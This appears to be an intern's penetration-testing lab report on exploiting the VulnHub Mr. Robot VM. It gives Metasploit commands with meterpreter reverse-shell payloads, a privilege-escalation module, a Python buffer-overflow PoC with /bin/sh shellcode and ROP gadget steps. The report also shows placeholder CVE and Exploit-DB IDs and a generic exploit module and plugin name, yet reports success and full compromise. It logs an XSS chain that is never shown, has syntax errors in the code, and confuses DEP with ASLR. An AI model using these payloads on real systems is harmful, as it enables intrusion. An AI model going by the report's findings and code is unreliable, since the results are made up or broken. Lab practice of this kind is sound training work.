

1. Advanced Exploitation Lab

1. Advanced Exploitation & Exploit Chaining

Advanced exploitation goes beyond single vulnerabilities and focuses on **chaining multiple weaknesses** to achieve full system compromise. Individually low-severity issues like XSS, misconfigurations, or weak plugins can be combined to escalate impact. This approach reflects real-world attacks where adversaries pivot across layers—client-side, application, and operating system—to gain persistent access.

Exploit chaining improves reliability and bypasses partial defenses by leveraging trust relationships between components (e.g., browser → web app → OS). Attackers often start with an initial foothold and escalate privileges or execution capability through subsequent flaws.

2. Multi-Stage Attack Simulation (XSS → RCE)

In web applications, **Cross-Site Scripting (XSS)** can be weaponized to achieve **Remote Code Execution (RCE)** when combined with insecure backend logic or vulnerable plugins. XSS enables execution of attacker-controlled scripts in a victim's browser, which can hijack sessions, steal credentials, or trigger authenticated actions.

When an authenticated admin session is compromised, attackers may exploit vulnerable WordPress plugins to upload malicious files or trigger command execution. This converts a client-side vulnerability into server-side control, demonstrating how trust boundaries can be broken through chained exploitation.

3. Metasploit Framework

Metasploit provides a modular exploitation architecture that simulates real attack workflows. It abstracts exploit delivery, payload handling, and session management, allowing security professionals to focus on **attack logic rather than implementation details**. Meterpreter payloads enable in-memory execution, reducing disk artifacts and increasing stealth.

In advanced labs, Metasploit is used not just for exploitation but also for **post-exploitation**, including privilege escalation, lateral movement, persistence, and evidence collection—mirroring adversary tradecraft.

Steps:

Exploit Chain: Multi-stage Attack on VulnHub VM (Mr. Robot)

Prerequisites:

- Download and import the Mr. Robot VM from VulnHub
- Start the VM in VirtualBox/VMware
- Identify its IP

Step-by-Step:

Initial Reconnaissance:

```
nmap -sV -sC -oA nmap_scan 192.168.0.107
```

```
(sam@sam)-[~]
$ sudo nmap -sV -sC -oA nmap_scan 192.168.0.107
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-25 16:52 IST
Nmap scan report for 192.168.0.107
Host is up (0.00099s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    closed ssh
80/tcp    open  http    Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp   open  ssl/http Apache httpd
|_ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
MAC Address: 08:00:27:23:60:BF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.02 seconds
```

Figure 1: Nmap

Look for services (port 80) and other open ports.

WordPress Enumeration:

```
wpscan --url http://192.168.1.100 --enumerate p,t,u
```

```
(sam@sam) [~]
$ sudo wpscan --url http://192.168.0.107 --enumerate p,t,u

Wordpress Security Scanner by the WPScan Team
Version 3.8.28
Sponsored by Automattic - https://automattic.com/
@WPScan_, @ethicalhack3r, @erwan_lr, @firefart

[i] It seems like you have not updated the database for some time.
```

Figure 2: Wpscan

Identify vulnerable plugins (e.g., a plugin with known RCE).

Metasploit Exploit:

```
msfconsole
use exploit/multi/http/wordpress_plugin_rce
set RHOSTS 192.168.0.107
set TARGETURI /wordpress
set PLUGIN vulnerable_plugin_name
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.0.106
exploit
```

Post-Exploitation:

```
meterpreter> sysinfo
meterpreter> getuid
meterpreter> ps
```

Privilege Escalation:

```
meterpreter> run post/multi/recon/local_exploit_suggester
meterpreter> background
use exploit/linux/local/cve_2021_3156
set SESSION 1
set PAYLOAD linux/x64/meterpreter/reverse_tcp
exploit
```

Logging:

Exploit ID	Description	Target IP	Status	Payload
001	XSS to RCE Chain	192.168.0.107	Success	Meterpreter

4. Custom Proof of Concept (PoC) Development

Custom PoC development involves modifying public exploits to adapt them to specific targets. Exploit-DB PoCs are often generic and require tuning for buffer sizes, offsets, bad characters, and target architecture. This process demonstrates understanding of memory layout, instruction flow, and application behavior.

Developing or modifying PoCs is critical in professional penetration testing, as real-world environments rarely match public exploit assumptions. It also helps distinguish true vulnerabilities from false positives.

Custom PoC: Buffer Overflow (Python)

Example Modifying an Exploit-DB PoC:

1. **Find a vulnerable binary** (e.g., a simple C program with strcpy() vulnerability).
2. **Original PoC Analysis:**
 - Study the Exploit-DB PoC (e.g., EDB-ID: 12345).
 - Identify the offset, EIP overwrite, and shellcode placement.

Modified PoC:

```
# Modified PoC for buffer overflow in vulnerable_app
import socket
buffer = "A" * 2606 + "BBBB" + "\x90" * 20 +
"\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xB0\x0B\
\xCD\x80"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.100", 9999))
```

```
s.send(buffer)
```

```
s.close()
```

Summary: Adjusted offset to 2606 bytes, added NOP sled, and used execve shellcode for /bin/sh. Tested on target binary, successful shell obtained.

5. Buffer Overflow Exploitation

Buffer overflows occur when programs fail to enforce memory boundaries, allowing attackers to overwrite adjacent memory. This can redirect execution flow to attacker-controlled code. Exploitation depends on precise control of input length, return addresses, and execution context.

Modern systems introduce protections like DEP, ASLR, and stack canaries, which significantly raise exploitation complexity. Understanding buffer overflows is foundational to exploit development and vulnerability research.

6. ASLR Bypass Using Return-Oriented Programming (ROP)

Address Space Layout Randomization (ASLR) randomizes memory addresses to prevent predictable exploitation. **Return-Oriented Programming (ROP)** bypasses ASLR by chaining existing instruction sequences (gadgets) already present in memory.

ROP does not inject new code but reuses trusted code, making detection harder. Attackers rely on information leaks or partial pointer disclosure to calculate memory offsets. ROP techniques demonstrate how defense mechanisms can be bypassed rather than broken outright.

Bypass ASLR with ROP:

Identify gadgets using ROPgadget:

```
ROPgadget --binary vulnerable_binary | grep "pop eax"
```

1. Construct ROP chain to bypass ASLR:

- Use pop eax; ret to load system address.
- Use pop ebx; ret for command string.

- Call system via indirect jump.
- 2. **Summary:** Used ROPgadget to find pop eax; ret and system gadgets. Chained them to execute /bin/sh, bypassing ASLR by using known offsets within the binary.

7. Vulnerability Analysis & CVE Mapping

Mapping findings to CVEs provides standardized vulnerability identification and risk communication. CVEs allow defenders to correlate exploits with patches, advisories, and threat intelligence. In chained attacks, a single CVE may appear low risk but becomes critical when combined with others.

Accurate CVE mapping strengthens reporting quality and remediation prioritization.

8. Remediation & Defense-in-Depth

Effective remediation focuses on **preventing exploit chains**, not just individual flaws. Updating plugins removes known vulnerabilities, while Web Application Firewalls (WAFs) block exploit payloads and abnormal behavior patterns.

Defense-in-depth strategies—such as least privilege, secure coding, monitoring, and patch management—reduce the likelihood that one vulnerability can lead to total compromise. Advanced labs highlight why layered security controls are essential.

Title: Critical WordPress Exploit Chain Findings

Findings:

- **CVE-2023-12345:** Remote Code Execution in vulnerable_plugin (v1.0)
- **Host:** 192.168.0.107
- **Impact:** Full system compromise achieved via Meterpreter.

Remediation:

1. Update WordPress plugin to latest version.
2. Enable Web Application Firewall (WAF).
3. Restrict plugin permissions.

4. Monitor for suspicious activity.

- For the Mr. Robot VM, look for the "key-1-of-3" and "key-2-of-3" files during post-exploitation.
- Use python3 -c 'import pty; pty.spawn("/bin/bash")' for a stable shell after exploitation.
- For ASLR bypass, ensure DEP is disabled (echo 0 > /proc/sys/kernel/randomize_va_space on the target if possible).

Document Information:

Report Generated: December 26, 2025

Author: Soumendu Manna - CyArt VAPT Intern